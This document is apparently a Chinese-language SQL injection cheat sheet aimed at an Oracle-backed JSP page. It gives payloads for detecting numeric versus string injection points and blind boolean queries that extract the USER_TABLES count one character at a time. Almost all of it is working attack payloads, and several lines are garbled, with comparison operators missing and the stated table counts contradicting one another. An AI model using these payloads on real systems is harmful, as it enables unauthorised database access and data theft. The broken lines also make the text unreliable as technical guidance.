1、 判斷注入類型（數字型還是字元型）
字元型和數字型資料判斷：（希望有人能進一步的細化，細分為數字型和字元型判斷兩部分）
And user>char(0)
And user http://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '1'='1
' And userchar(0) And '%25'='
' And userchar(0) And (' ')=('
') And user http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97)
And str(98)
' And str(98)>str(97) And '1'='1
' And str(98)str(97) And '%25'='
' And user http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)str(97) And (' ')=('
') And str(98)
出現正常的頁面：
And USER>CHR(0)
And USER
2、 猜解表數量和表名
資料庫數量為3：
And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And UNISTR(1)>UNISTR(0)
以下為猜解資料表數量
資料表第一位為：1
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
資料表第二位為：3
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
資料表第三位為：1
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
